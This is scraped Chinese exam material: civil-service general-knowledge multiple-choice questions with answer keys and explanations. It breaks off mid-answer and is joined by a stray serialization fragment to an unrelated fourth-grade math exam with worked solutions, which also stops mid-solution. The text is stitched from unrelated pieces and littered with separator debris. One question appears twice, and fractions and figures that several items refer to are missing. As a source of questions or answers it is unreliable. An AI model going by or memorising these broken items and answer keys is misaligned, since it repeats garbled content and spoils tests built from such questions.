@#@@#@　　A、实践主体的素质的差异@#@　　B、实践的形式是多种多样的@#@　　C、社会实践总要受到历史条件的限制@#@　　D、实践受到实践主体的认识水平的制约@#@　　【答案】C@#@　　【解析】实践标准的确定性就是实践标准的绝对性、无条件性。

@#@它强调实践作为检验真理的标准是确定不移的，凡是在实践中被证明与客观实际相符合的认识就是真理，凡是被实践推翻的见解就是谬误。

@#@实践标准的不确定性是指实践标准的相对性、条件性，它强调的是辩证的理解实践标准，不能把它绝对化。

@#@一定历史阶段上的具体实践@#@　　27、下列属于批复的特点的是（）。

@#@@#@　　A、下行性@#@　　B、针对性@#@　　C、结论性@#@　　D、及时性@#@　　【答案】ABCD@#@　　【解析】批复的特点:

@#@1,下行性。

@#@批复仅能用于下行文。

@#@@#@　　2,针对性。

@#@批复是专为请示而设臵的文种，其主送机关是呈送请示的下级机关。

@#@@#@　　3,结论性。

@#@批复是针对请示问题的答复，只用作出结论即可，不必展开论述，内容较为简练。

@#@@#@　　4,及时性。

@#@上级机关批复下级机关的请示要迅速，以免耽误下级机关的工作进展。

@#@@#@　　28、降低大气中二氧化碳的含量，植树造林是比较好的措施，因为植物在光合作用时可大量地吸收二氧化碳，释放出氧气。

@#@植物吸收的这些二氧化碳在细胞内的哪个部位被合成了有机物（）。

@#@@#@　　A、线粒体@#@　　B、叶绿体@#@　　C、中心体@#@　　D、高尔基体@#@　　【答案】B@#@　　【解析】绿色植物是主要的能量转换者是因为它们均含有叶绿体（Chloroplast）这一完成能量转换的细胞器，它能利用光能同化二氧化碳和水，合成贮藏能量的有机物，同时产生氧。

@#@B项当选。

@#@@#@　　29、固定属性主要是指一种商品的相对不变的属性。

@#@下列属于商品的固定属性的是（）。

@#@@#@　　A、商品供货周期@#@　　B、商品类别@#@　　C、供货单位@#@　　D、商品价格@#@　　【答案】B@#@　　【解析】固定属性主要是指一种商品的相对不变的属性，如商品编码、商品名称、生产厂家、商品条码、商品类别等。

@#@B项当选。

@#@@#@　　30、市水利局向市财政局请求增拨水利建设经费应用的文种是（）。

@#@@#@　　A、请示@#@　　B、函@#@　　C、报告@#@　　D、申请书@#@　　【答案】B@#@　　【解析】函适用于不相隶属机关之间商洽工作，询问和答复问题，请求批准和答复审批事项。

@#@市水利局和财政局是不相隶属关系，应该用函。

@#@故选B。

@#@@#@　　31、乙地区的农产品生产过程的各项作业、各个环节分别由不同的农业企业来完成，其专业化类型是（）。

@#@@#@　　A、农业企业专业化@#@　　B、农业生产地区专业化@#@　　C、农业作业专业化@#@　　D、农业生产部门专业化@#@　　【答案】C@#@　　【解析】农业生产专业化具有以下四种类型:

@#@①农业生产部门专业化。

@#@是指随着农业生产的社会分工逐步加深，农业中的各生产部门由从属性部门发展成为独立的部门。

@#@②农业生产地区专业化。

@#@各地区具有不同的自然、经济、社会和历史等条件与特点。

@#@根据市场需求和适地生产的原则，各个地区因地制宜地专门生产一种或几种产品，从而形成农业生产的地区分工。

@#@③农业企业专业化。

@#@是指农业企业根据本企业的自然环境和社会经济条件，结合自身技术与经济优势，选择最适合的生产部门及产品作为专业化的主导部门集中经营，企业中的其他生产项目则降为从属地位，成为辅助性生产部门甚至消失。

@#@④农业作业专业化。

@#@又称农艺过程专业化，是指农产品生产过程的各项作业、各个环节，分别由不同的农业企业来完成。

@#@故选C。

@#@@#@　　32、高速公路免费通行7座及以下小型客车。

@#@这有利于（）。

@#@@#@　　A、加快旅游发展，确保经济增长@#@　　B、增加车辆出行，保护自然环境@#@　　C、减少税费收入，促进收支平衡@#@　　D、降低出行成本，刺激消费需求@#@　　【答案】D@#@　　【解析】高速公路免费通行7座及以下小型客车，可以降低出行成本，增加出行人数，促进消费，拉动经济增长。

@#@@#@　　故选D。

@#@@#@　　33、下列填入①处的内容，错误的有（）。

@#@@#@　　A、川府函@#@　　【20XX】第59号@#@　　B、川府函（20XX）59号@#@　　C、川府函〔20XX〕第59号@#@　　D、川府函〔20XX〕59号@#@　　【答案】ABC@#@　　【解析】填入①处的应为发文字号。

@#@发文字号由发文机关代字+年份+顺序号组成，其中年份外标六角括号，顺序号不加“第”字，故本题答案为ABC。

@#@@#@　　34、红细胞是血液中数量最多的一种血细胞，它在人体中的主要作用是（）。

@#@@#@　　A、将氧气从肺运送到身体各个组织@#@　　B、作为免疫系统的一部分帮助身体抵抗传染病以及外来感染@#@　　C、促进血液中的生物化学反应，辅助生物体的新陈代谢@#@　　D、在血管破裂时大量聚集，起到凝血作用@#@　　【答案】A@#@　　【解析】A项正确，红细胞也称红血球，是脊椎动物体内通过血液运送氧气的最主要媒介。

@#@B项是白细胞的作用。

@#@D项是血小板的主要作用。

@#@@#@　　35、随着“单独二胎”政策的实施,短期会扩大母婴食品、玩具等行业的市场需求,长期还将带动医疗、教育等行业的发展。

@#@由此可见（）。

@#@@#@　　A、消费对生产具有反作用,能够促进生产的发展@#@　　B、生产决定消费,生产为消费奠定物质基础@#@　　C、消费和生产是相互决定和促进的@#@　　D、新的消费热点出现,往往带动社会生产的调整和升级@#@　　【答案】A@#@　　【解析】本题考查的知识点是社会生产总过程。

@#@社会生产总过程是指：

@#@人类社会在改造社会中的生产、分配、交换、消费四个环节。

@#@四个环节之间存在着相互联系、相互制约的辩证关系。

@#@其中生产对消费起着决定作用表现为：

@#@生产决定着消费的对象、水平与结构和具体形式。

@#@消费对生产的反作用具体表现为：

@#@消费使生产出来的产品最终得到实现，消费为生产的发展创造出动力，反之则阻碍生产力的发展。

@#@二胎政策的实施扩大对母婴市场的消费，进而促进了母婴用品及其他相关产业的生产和发展。

@#@故本题体现了消费的扩大对生产的反作用，促进生产的发展，A正确。

@#@B项生产决定消费,生产为消费奠定物质基础表述正确，但本题并未体现；@#@C项表述错误；@#@二胎政策只是扩大了母婴及相关产业的消费并未出现新的消费热点故D错误。

@#@故本题选A。

@#@@#@　　36、“旅行者1号”空间探测器历经36年的人类星际探索，沿途探测①木星、②土星、③土卫@#@　　二、④土卫六是否存在生命痕迹，并发回资料。

@#@阅读表格，依据探测资料判断将来最有可能孕育生命的天体是（）。

@#@@#@　　A、①@#@　　B、②@#@　　C、③@#@　　D、④@#@　　【答案】C@#@　　【解析】生命产生的条件：

@#@@#@　　

（1）有必要的组成物质，能合成有机物的碳、氢、氧、氮等元素。

@#@@#@　　

（2）生命需要适中的光和热，温度过高，碳原子的化学键被破坏；@#@温度过低，又会使生物过程停顿。

@#@@#@　　（3）有液态的水，这是生物体绝对不可缺少的组成部分，也是生命存在的基本条件。

@#@@#@　　（4）有大气，大气有三个作用，一是大气通过紫外线照射和电火花合成有机物；@#@二是保护生命安全不受陨石和宇宙线损伤；@#@三是保护地球表面的热量。

@#@@#@　　（5）上面的条件能维持很长时间，使生命有一个产生、发展、进化的过程。

@#@因此，C项最可能孕育生命，当选。

@#@@#@　　37、非同一系统的任何机关相互行文都使用（）。

@#@@#@　　A、上行文@#@　　B、平行文@#@　　C、越级行文@#@　　D、下行文@#@　　【答案】B@#@　　【解析】具有平行关系或其他不相隶属关系的机关之间相互主送平行文。

@#@@#@　　38、为应付复杂的行政管理事务，我们在进行行政决策时要拟订多个方案。

@#@不属于行政决策的是（）。

@#@@#@　　A、积极方案@#@　　B、消极方案@#@　　C、临时方案@#@　　D、应变方案@#@　　【答案】B@#@　　【解析】行政决策方案分类一般有四种：

@#@积极方案、追踪方案、临时方案和应变方案。

@#@B项不属于行政决策方案。

@#@@#@　　39、事物的性质主要是由事物的（）。

@#@@#@　　A、矛盾的斗争性决定@#@　　B、矛盾的同一性决定@#@　　C、矛盾的主要方面决定的@#@　　D、主要矛盾和次要矛盾共同决定的@#@　　【答案】C@#@　　【解析】同一矛盾双方的地位是不同的，其中一方处于支配地位，决定事物的性质。

@#@这里矛盾主次方面各有一个。

@#@由于矛盾的主要方面在力量上超过矛盾的次要方面，在地位上支配着矛盾的次要方面，所以事物的性质主要是由矛盾的主要方面决定的。

@#@矛盾的主要方面发生变化，事物的性质也随之变化。

@#@同时，次要方面对事物性质有一定影响。

@#@因为主要矛盾不能离开次要方面而孤立存在。

@#@故选C。

@#@@#@　　40、日本开始侵华的标志是（）。

@#@@#@　　A、“九一八”事变@#@　　B、华北事变@#@　　C、皇姑屯事变@#@　　D、卢沟桥事变@#@　　【答案】A@#@　　【解析】1931年9月18日，日本在东北发动了“九一八”事变，揭开了局部侵华序幕。

@#@故选A。

@#@@#@　　41、如下公文处理环节属于发文处理过程的是（）。

@#@@#@　　A、拟办@#@　　B、审核@#@　　C、批办@#@　　D、注办@#@　　【答案】B@#@　　【解析】公文的发文处理程序为：

@#@拟稿→核稿→审批→审核→会签→发文编号→制作→校对打印→封发→归档。

@#@@#@　　42、下列边境口岸与所在省区组合正确的是（）。

@#@@#@　　A、黑河——吉林省@#@　　B、丹东——黑龙江省@#@　　C、绥芬河——辽宁省@#@　　D、满洲里——内蒙古自治区@#@　　【答案】D@#@　　【解析】黑河位于黑龙江省,丹东属辽宁省,绥芬河位于黑龙江省,满洲里在内蒙古自治区。

@#@故选D。

@#@@#@　　43、下列诗句中，体现了“人们观察事物的立足点、立场不同，就会得到不同的结论”这一哲学理论的是（）。

@#@@#@　　A、山重水复疑无路，柳暗花明又一村@#@　　B、海日生残夜，江春入旧年@#@　　C、横看成岭侧成峰，远近高低各不同@#@　　D、落红不是无情物，化作春泥更护花@#@　　【答案】C@#@　　【解析】A项“山重水复疑无路，柳暗花明又一村”蕴含前进性和曲折性相统一的哲理；@#@B项“海日生残夜，江春入旧年”蕴含新事物孕育于旧事物解体之时的哲理；@#@C项“横看成岭侧成峰，远近高低各不同”是指通过从不同角度“看”，以不同的视角，欣赏到了不同的景致，让人回味无穷，正是对“观察事物的立足点、立场不同，就会得到不同的结论”这一哲学理论的体现；@#@D项“落红不是无情物，化作春泥更护花”阐明事物具有两重性。

@#@@#@　　故选C。

@#@@#@　　44、发送给抄送机关的文件，以及在报刊上公布的文件，可视为（）。

@#@@#@　　A、副本@#@　　B、正本@#@　　C、存本@#@　　D、修订本@#@　　【答案】A@#@　　【解析】副本是指再现公文正本内容及全部或部分外形特征的公文复制本或正本的复份。

@#@@#@　　45、为应付复杂的行政管理事务，我们在进行行政决策时要拟订多个方案。

@#@不属于行政决策的是（）。

@#@@#@　　A、积极方案@#@　　B、消极方案@#@　　C、临时方案@#@　　D、应变方案@#@　　【答案】B@#@　　【解析】行政决策方案分类一般有四种：

@#@积极方案、追踪方案、临时方案和应变方案。

@#@B项不属于行政决策方案。

@#@@#@　　46、事物的质是指（）。

@#@@#@　　A、事物存在和发展的规模、程度、速度和水平@#@　　B、使事物保持自己质和量的限度、幅度、范围@#@　　C、事物在与他事物相互联系中表现出来的各种质@#@　　D、一事物区别于他事物的内在规定性@#@　　【答案】D@#@　　【解析】质是事物的内在规定性，是与物直接同一的，一定的质就是一定的事物，它是人们区分、认识具体事物的客观依据。

@#@故选D。

@#@@#@　　47、古人信奉“五德终始说”，认为朝代与金、木、水、火、土五行相对应，朝代更替源于五行相克。

@#@周朝尚红色、属火，那么秦朝尚黑色、属（）。

@#@@#@　　A、金@#@　　B、木@#@　　C、水@#@　　D、土@#@　　【答案】C@#@　　【解析】五行相克的次序是：

@#@金克木、木克土、土克水、水克火、火克金。

@#@周属火，秦克周，根据五行相克“水克火”，故秦承水德，因此C项正确。

@#@@#@　　48、非公有制是市场经济的（）。

@#@@#@　　A、有益补充@#@　　B、重要组成部分@#@　　C、主体部分@#@　　D、主导部分@#@　　【答案";i:

16;s:

23840:

"小学四年级下册期末考试数学卷答案一@#@小学四年级下册期末考试数学卷答案

（一）@#@一、仔细读题，认真填空．（第5题4分，其余每题2分）@#@1．（2分）2009年的春运期间，全国铁路旅客发送量达192000000人，改成用“亿”作单位的数是　1.92亿　人，日均480万人，其中客流最高峰日是2月14日，单日发送旅客592.9万人，省略万后面尾数记作是　593　万人．@#@考点：

@#@@#@整数的读法和写法；@#@整数的改写和近似数．@#@专题：

@#@@#@整数的认识．@#@分析：

@#@@#@把192000000改写成以“亿”作单位的数：

@#@从个位起数出八位，点上小数点，去掉末尾的0，同时添上一个“亿”字；@#@@#@将592.9万四舍五入到万位，就是要省略万位后面的尾数，看千位上的数是否满5，再运用“四舍五入”的方法求出近似数即可．@#@解答：

@#@@#@解：

@#@192000000=1.92亿；@#@@#@592.9万=5929000≈593万．@#@故答案为：

@#@1.92亿，593．@#@点评：

@#@@#@题考查整数的改写以及用“四舍五入”法求数的近似值．注意改写时数的大小不变，用“=”连接，求近似数改变了数的大小，应用“≈”连接．@#@2．（2分）由2个十、36个百分之一组成的数是　20.36　，读作　二十点三六　．@#@考点：

@#@@#@小数的读写、意义及分类．@#@专题：

@#@@#@小数的认识．@#@分析：

@#@@#@由题意知，这个数十位上是2，十分位上是3，百分位上是6．其它数位上是0，从高位到低位写起，一级一级地写，哪一个数位上一个计数单位也没有，就在那个数位上写0；@#@读小数，整数部分按照整数的读法来读，小数点读作点，小数部分顺次读出每一个数位上的数．@#@解答：

@#@@#@解：

@#@由2个十、36个百分之一组成的数是20.36；@#@@#@20.36读作：

@#@二十点三六；@#@@#@故答案为：

@#@20.36，二十点三六．@#@点评：

@#@@#@这是一道综合题，既考查了小数的组成，又考查小数的读写．@#@3．（2分）小熊不小心把三角形玻璃打破了．它拾起其中的一块（见图），量出两个角后，按角分确定这是个　直角　三角形．@#@考点：

@#@@#@三角形的内角和．@#@专题：

@#@@#@平面图形的认识与计算．@#@分析：

@#@@#@根据三角形内角和等于180°@#@，已知两个角的度数求出另一个角的度数，进而根据三角形的分类方法进行解答即可．@#@解答：

@#@@#@解；@#@180°@#@﹣30°@#@﹣60°@#@，@#@=150°@#@﹣60°@#@，@#@=90°@#@，@#@因为该三角形的一个角是90°@#@，所以此三角形是直角三角形，@#@故答案为：

@#@直角@#@点评：

@#@@#@此题主要是考查了三角形内角和等于180°@#@以及三角形的分类方法．@#@　@#@4．（2分）1.08乘　100　是108，39缩小到原数的@#@是　0.039　．@#@考点：

@#@@#@小数点位置的移动与小数大小的变化规律．@#@专题：

@#@@#@运算顺序及法则．@#@分析：

@#@@#@由1.08到108，相当于小数点向右移动了2位，即扩大100倍；@#@@#@把39缩小到原数的@#@，相当于把39的小数点向左移动了三位，是0.039．@#@解答：

@#@@#@解：

@#@1.08乘100是108，39缩小到原数的@#@是0.039；@#@@#@故答案为：

@#@100，0.039．@#@点评：

@#@@#@此题主要考查小数点位置移动引起数的大小变化规律：

@#@一个数的小数点向右（向左）移动一位、两位、三位…，这个数就比原来扩大（缩小）10倍、100倍、1000倍…，反之也成立．@#@5．（4分）@#@　2600　千克=2.6吨@#@8.75元=　8　元　7　角　5　分@#@2小时30分=　150　分@#@0.56平方米=　56　平方分米．@#@考点：

@#@@#@质量的单位换算；@#@时、分、秒及其关系、单位换算与计算；@#@货币、人民币及其常用单位；@#@面积单位间的进率及单位换算．@#@专题：

@#@@#@长度、面积、体积单位；@#@质量、时间、人民币单位．@#@分析：

@#@@#@

（1）把2.6吨换算成千克数，用2.6乘进率1000得2600千克；@#@@#@

（2）把8.75元换算成复名数，整数部分就是8元，把小数部分0.7元换算成角数，用0.7乘进率10得7角；@#@把小数部分0.05元换算成分数，用0.05乘进率100得5分；@#@@#@（3）把2小时30分换算成分数，先把2小时换算成分数，用2乘进率60得120分，再加上30分得150分；@#@@#@（4）把0.56平方米换算成平方分米数，用0.56乘进率100得56平方分米．@#@解答：

@#@@#@解：

@#@

（1）2600千克=2.6吨；@#@@#@

（2）8.75元=8元7角5分；@#@@#@（3）2小时30分=150分；@#@@#@（4）0.56平方米=56平方分米．@#@故答案为：

@#@2600，8，7，5，150，56．@#@点评：

@#@@#@此题考查名数的换算，把高级单位的名数换算成低级单位的名数，就乘单位间的进率；@#@把低级单位的名数换算成高级单位的名数，就除以单位间的进率．@#@　@#@6．（2分）0.08用分数表示是@#@，如果把这个小数改写成三位小数是　0.080　．@#@考点：

@#@@#@小数、分数和百分数之间的关系及其转化；@#@小数的性质及改写．@#@专题：

@#@@#@小数的认识；@#@分数和百分数．@#@分析：

@#@@#@

（1）小数化分数的方法：

@#@一位小数表示十分之几，两位小数表示百分之几，三位小数表示千分之几…据此先把0.08写成分数的形式，再进一步化成最简分数；@#@@#@

（2）根据小数的性质：

@#@小数的末尾添上0或去掉0，小数的大小不变，据此把0.08改写成三位小数为0.080．@#@解答：

@#@@#@解：

@#@

（1）0.08=@#@=@#@；@#@@#@

（2）0.08=0.080．@#@故答案为：

@#@@#@，0.080．@#@点评：

@#@@#@此题考查小数与分数的互化，也考查了小数性质的运用．@#@　@#@7．（2分）根据加法运算定律，（6.5+7.03）+　2.97　=6.5+（　7.03　+2.97）．@#@考点：

@#@@#@运算定律与简便运算．@#@专题：

@#@@#@运算定律及简算．@#@分析：

@#@@#@此题可运用加法结合律改写，即：

@#@（6.5+7.03）+2.97=6.5+（7.03+2.97）．@#@解答：

@#@@#@解：

@#@（6.5+7.03）+2.97=6.5+（7.03+2.97）．@#@故答案为：

@#@2.97，7.03．@#@点评：

@#@@#@此题考查了加法结合律：

@#@a+b+c=a+（b+c）．@#@　@#@8．（2分）下表是实验小学运动会四年级男子100米比赛成绩，获得第一名的同学是　刘岳东　．@#@李祺@#@13.8秒@#@东亮@#@14.1秒@#@刘岳东@#@13.1秒@#@张智远@#@14.3秒@#@考点：

@#@@#@简单的行程问题；@#@小数大小的比较．@#@专题：

@#@@#@行程问题．@#@分析：

@#@@#@依据小数大小比较方法比较四人用时的多少，再根据路程一定，时间和速度成反比即可解答．@#@解答：

@#@@#@解：

@#@因为13.1＜13.8＜14.1＜14.3，@#@所以刘岳东获得第一名，@#@答：

@#@获得第一名的同学是刘岳东，@#@故答案为：

@#@刘岳东．@#@点评：

@#@@#@本题考查知识点：

@#@

（1）小数大小比较方法，

（2）路程一定，时间和速度成反比．@#@　@#@9．（2分）一个长50米的游泳池，刘老师已经游了5个来回，他游了　500　米．@#@考点：

@#@@#@整数的乘法及应用．@#@专题：

@#@@#@简单应用题和一般复合应用题．@#@分析：

@#@@#@根据题意，刘老师已经游了5个来回，也就是他已经有了5×@#@2=10个单趟，也就是10个50米，然后用50×@#@10即可．@#@解答：

@#@@#@解：

@#@根据题意可得：

@#@@#@50×@#@（5×@#@2），@#@=50×@#@10，@#@=500（米）．@#@答：

@#@他游了500米．@#@故答案为：

@#@500．@#@点评：

@#@@#@本题要理解好1个来回就是2个单趟，然后再根据题意进一步解答即可．@#@　@#@10．（2分）一个两位小数四舍五入后是9.5，这个两位小数最大是　9.54　，最小是　9.45　．@#@考点：

@#@@#@近似数及其求法．@#@分析：

@#@@#@

（1）一个两位小数四舍五入后是9.5，这个两位小数最大是百分位上的数舍去，舍去的数中4是最大的，据此求出；@#@@#@

（2）最小是百分位上的数进一，进一数中5是最小的，百分位进一，十分位原来是5﹣1=4，据此写出．@#@解答：

@#@@#@解：

@#@

（1）一个两位小数四舍五入后是9.5，这个两位小数最大是：

@#@9.54；@#@@#@

（2）最小是：

@#@9.45；@#@@#@故答案为：

@#@9.54，9.45．@#@点评：

@#@@#@本题主要考查近似数的求法，注意最大是百分位上的数舍去，最小是百分位上的数进一．@#@　@#@二、缜密思考，细心判断．（数学课上，李老师要求同学们用数学语言描述生活中的事．请你从数学的角度进行分析，认为对的打“√”，错的打“×@#@”．@#@11．（1分）美美说：

@#@“前天，我去商店割了一块三角形的玻璃，发现它的三条边长分别是6dm、5dm和12dm”．　×@#@　．@#@考点：

@#@@#@三角形的特性．@#@专题：

@#@@#@平面图形的认识与计算．@#@分析：

@#@@#@根据三角形的特性：

@#@两边之和大于第三边，三角形的两边的差一定小于第三边；@#@进行解答即可．@#@解答：

@#@@#@解：

@#@6+5=11＜12，@#@所以此三条边长不可能组成一个三角形，@#@故答案为：

@#@×@#@．@#@点评：

@#@@#@解答此题的关键是根据三角形的三条边的关系进行分析、解答@#@　@#@12．（1分）伟鹏说：

@#@“商场上一台彩电的标价是：

@#@3588元，如果改成用“万”作单位，读作：

@#@零点三千五百八十八万元”．　×@#@　．@#@考点：

@#@@#@整数的读法和写法；@#@整数的改写和近似数．@#@专题：

@#@@#@整数的认识．@#@分析：

@#@@#@把一个数改写成用“万”作单位的数，从个位数到万位，在万位的右下角点上小数点，末尾的零去掉，再添上一个“万”字，根据小数的读法：

@#@先按整数的读法读出整数部分，点读作点，小数部分顺次读出每一位上的数，即可．@#@解答：

@#@@#@解：

@#@3588元=0.3588万元，@#@0.3588万元读作：

@#@零点三五八八万元，@#@所以3588元，如果改成用“万”作单位，读作：

@#@零点三千五百八十八万元”．是错误的；@#@@#@故答案为：

@#@×@#@．@#@点评：

@#@@#@此题考查整数的改写以及小数的读法，改写时注意把小数点末尾的零去掉，再添上一个“万”字．@#@　@#@13．（1分）小林说：

@#@“我体重30千克，是表弟的2倍，爸爸的体重是表弟的4倍，爸爸的体重是60千克”．　√　．@#@考点：

@#@@#@整数、小数复合应用题．@#@专题：

@#@@#@简单应用题和一般复合应用题．@#@分析：

@#@@#@先求出表弟的体重，即30÷@#@2=15千克，再求出爸爸的体重，即15×@#@4=60千克，据此即可判断．@#@解答：

@#@@#@解：

@#@30÷@#@2×@#@4，@#@=15×@#@4，@#@=60（千克）；@#@@#@故答案为：

@#@√．@#@点评：

@#@@#@此题主要依据除法的意义和乘法的意义解决问题．@#@　@#@14．（1分）兰兰和小华面对面站着．兰兰对小华说：

@#@“你在我的正北方向上”，小华对兰兰说：

@#@“你在我的正南方向上”．　√　．@#@考点：

@#@@#@方向．@#@专题：

@#@@#@图形与位置．@#@分析：

@#@@#@依据方向的相对性可知：

@#@正北与正南相对，据此即可判断．@#@解答：

@#@@#@解：

@#@据分析可知：

@#@正北与正南相对，@#@故答案为：

@#@√．@#@点评：

@#@@#@解答此题的主要依据是：

@#@方向的相对性．@#@　@#@15．（1分）张东对爸爸说：

@#@“我们家装修新房子，只能买正方形瓷砖才能密铺，长方形瓷砖不能密铺”．　×@#@　．@#@考点：

@#@@#@图形的密铺．@#@专题：

@#@@#@平面图形的认识与计算．@#@分析：

@#@@#@所谓“密铺”，就是指任何一种图形，如果能既无空隙又不重叠的铺在平面上，这种铺法就叫做“密铺”；@#@所以看房子能否密铺，不能仅仅看是什么形状，而且需要计算；@#@据此判断．@#@解答：

@#@@#@解：

@#@由分析可知：

@#@张东对爸爸说：

@#@“我们家装修新房子，只能买正方形瓷砖才能密铺，长方形瓷砖不能密铺，说法错误；@#@@#@故答案为：

@#@×@#@．@#@点评：

@#@@#@明确密铺的含义是解答此题的关键所在．@#@　@#@三、认真读题，用心选择．（把正确答案的序号填入括号，4%）@#@16．（1分）@#@　@#@A．@#@一定是直角三角形@#@B．@#@一定是锐角三角形@#@　@#@C．@#@不可能是钝角三角形@#@　@#@　@#@考点：

@#@@#@三角形的分类．@#@专题：

@#@@#@平面图形的认识与计算．@#@分析：

@#@@#@根据三角形内角的大小可把三角形分为三类：

@#@锐角三角形、钝角三角形和直角三角形，一个三角形，没有钝角，有可能是直角三角形，也有可能是锐角三角形．@#@解答：

@#@@#@解：

@#@由分析可知，一个三角形，没有钝角，有可能是直角三角形，也有可能是锐角三角形，但一定不是钝角三角形．@#@故选：

@#@C@#@点评：

@#@@#@本题考查了三角形的分类，根据三角形的分类即可得出正确答案．@#@　@#@17．（1分）要使26□580≈26万，□里有（　　）种填法．@#@　@#@A．@#@4@#@B．@#@5@#@C．@#@6@#@考点：

@#@@#@整数的改写和近似数．@#@专题：

@#@@#@整数的认识．@#@分析：

@#@@#@省略万位后面的尾数求近似数，根据千位上数字的大小确定用“四舍”、还是用“五入”．26□580≈26万，显然是用“四舍”法得到的近似数，所以□里可以填0、1、2、3、4．@#@解答：

@#@@#@解：

@#@26□580≈26万，显然是用“四舍”法得到的近似数，所以□里可以填0、1、2、3、4．@#@答：

@#@口里有5种填法．@#@故选：

@#@B．@#@点评：

@#@@#@此题考查的目的是使学生掌握利用“四舍五入法”，省略万位后面的尾数求近似数的方法的灵活运用．@#@　@#@18．（1分）拼成一个@#@至少要用（　　）个完全相同的直角三角形．@#@　@#@A．@#@1@#@B．@#@2@#@C．@#@3@#@考点：

@#@@#@图形的拼组．@#@专题：

@#@@#@平面图形的认识与计算．@#@分析：

@#@@#@用2个完全一样的直角三角形就可以拼成一个长方形．@#@解答：

@#@@#@解：

@#@最少用2个完全一样的直角三角形就可以拼成一个长方形；@#@如图：

@#@@#@故选：

@#@B．@#@点评：

@#@@#@本题考查了学生关于三角形的拼接方面的知识，其中主要是学生对长方形和直角三角形定义的理解．@#@　@#@19．（1分）一个小数，小数点向右移动1位、2位、3位，这个小数就（　　）@#@　@#@A．@#@扩大到原数的1倍、2倍、3倍@#@B．@#@缩小到原数的@#@、@#@、@#@　@#@C．@#@扩大到原数的10倍、100倍、1000倍@#@　@#@　@#@考点：

@#@@#@小数点位置的移动与小数大小的变化规律．@#@专题：

@#@@#@小数的认识．@#@分析：

@#@@#@根据小数点位置移动引起数的大小变化规律：

@#@一个数的小数点向右（向左）移动一位、两位、三位…，这个数就比原来扩大（缩小）10倍、100倍、1000倍…；@#@据此选择即可．@#@解答：

@#@@#@解：

@#@由分析可知：

@#@一个小数，小数点向右移动1位、2位、3位，这个小数就扩大到原数的10倍、100倍、1000倍；@#@@#@故选：

@#@C．@#@点评：

@#@@#@此题主要考查小数点位置移动引起数的大小变化规律．@#@　@#@四、仔细审题，精确计算．（31%）@#@20．（10分）直接写得数．@#@60×@#@30=@#@1.7+0.04=@#@25×@#@4=@#@8×@#@9×@#@125=@#@25÷@#@5×@#@6=@#@3﹣2.4=@#@0.9+3.5=@#@100×@#@0.16=@#@36﹣8+10=@#@40﹣0÷@#@5=@#@考点：

@#@@#@整数的乘法及应用；@#@整数的除法及应用；@#@小数的加法和减法．@#@专题：

@#@@#@计算题．@#@分析：

@#@@#@根据整数和小数加减乘除的计算方法进行计算即可．@#@解答：

@#@@#@解：

@#@60×@#@30=1800，@#@1.7+0.04=1.74，@#@25×@#@4=100，@#@8×@#@9×@#@125=9000，@#@25÷@#@5×@#@6=30，@#@3﹣2.4=0.6，@#@0.9+3.5=4.4，@#@100×@#@0.16=16，@#@36﹣8+10=38，@#@40﹣0÷@#@5=40．@#@点评：

@#@@#@口算时，注意运算符号和数据，然后再进一步计算即可．@#@　@#@21．（21分）计算（怎样简便就怎样计算）@#@25+12×@#@8@#@168×@#@25×@#@4@#@39.5+98.8（竖式计算并用加法交换律验算）@#@32×@#@87+13×@#@32@#@11.26﹣6.37﹣4.63@#@（101﹣98）×@#@44÷@#@12．@#@考点：

@#@@#@整数四则混合运算；@#@运算定律与简便运算；@#@小数四则混合运算．@#@专题：

@#@@#@运算顺序及法则；@#@运算定律及简算．@#@分析：

@#@@#@

（1）先算乘法，再算加法；@#@@#@

（2）运用乘法的结合律进行简算；@#@@#@（3）根据小数加法的计算法则进行解答即可；@#@@#@（4）运用乘法的分配律进行简算；@#@@#@（5）运用减法的运算定律进行简算；@#@@#@（6）先算小括号里的减法，再从左向右进行计算即可．@#@解答：

@#@@#@解：

@#@

（1）25+12×@#@8，@#@=25+96，@#@=121；@#@@#@

（2）168×@#@25×@#@4，@#@=168×@#@（25×@#@4），@#@=168×@#@100，@#@=16800；@#@@#@（3）39.5+98.8=138.3；@#@@#@（4）32×@#@87+13×@#@32，@#@=（87+13）×@#@32，@#@=100×@#@32，@#@=3200；@#@@#@（5）11.26﹣6.37﹣4.63，@#@=11.26﹣（6.37+4.63），@#@=11.26﹣11，@#@=0.26；@#@@#@（6）（101﹣98）×@#@44÷@#@12，@#@=3×@#@44÷@#@12，@#@=132÷@#@12，@#@=11．@#@点评：

@#@@#@考查了整数、小数的四则混合运算顺序，注意灵活运用验算定律进行简算，小数加减法对齐小数点．@#@　@#@五、自己探索，动手操作．（9%，每题3分）@#@22．（6分）观察图，按要求作答．@#@

（1）超市在少年宫　西　偏　南30°@#@　方向上，距离少年宫约是　800　米．@#@

（2）学校在丁丁家的东偏南30°@#@方向上，距离学校约是800米．请在下图标出学校的位置．@#@考点：

@#@@#@根据方向和距离确定物体的位置；@#@在平面图上标出物体的位置．@#@专题：

@#@@#@图形与位置．@#@分析：

@#@@#@

（1）因为图上距离1厘米表示实际距离400米，于是可以求出超市与少年宫的实际距离，再据图上标注的其他信息，即可描述出超市与少年宫的方向关系；@#@@#@

（2）先求出学校与丁丁家的图上距离，再据二者的方向关系，即可在图上标出学校的位置．@#@解答：

@#@@#@解：

@#@

（1）因为图上距离1厘米表示实际距离400米，@#@则超市与少年宫的实际距离为400×@#@2=800米，@#@所以超市在少年宫西偏南30°@#@方向上，距离少年宫约是800米．@#@

（2）800÷@#@400=2厘米，@#@又因学校在丁丁家的东偏南30°@#@方向上，@#@所以学校的位置如下图所示：

@#@@#@故答案为：

@#@西、南30°@#@、800．@#@点评：

@#@@#@此题主要考查线段比例尺的意义，以及依据方向（角度）和距离判定物体位置的方法．@#@　@#@23．（3分）在下面的方格纸上画出一个三角形，它不是锐角三角形．@#@考点：

@#@@#@画指定面积的长方形、正方形、三角形；@#@三角形的分类．@#@专题：

@#@@#@作图题．@#@分析：

@#@@#@根据三角形的按角分类可知，三角形可分为钝角三角形、锐角三角形、直角三角形，因此可在方格中画出钝角三角形或直角三角形即可．@#@解答：

@#@@#@解：

@#@作图如下：

@#@@#@点评：

@#@@#@此题主要考查的是三角形的分类及其画法．@#@　@#@六、灵活运用，解决问题．（29%，第5题5分，其余每题6分）@#@24．（6分）学校食堂买来多少千克大米？

@#@@#@考点：

@#@@#@图文应用题．@#@专题：

@#@@#@简单应用题和一般复合应用题．@#@分析：

@#@@#@每车运150千克，则5车共运150×@#@5千克，还有130千克没有运，则学校食堂买来大米150×@#@5+130，解决问题．@#@解答：

@#@@#@解：

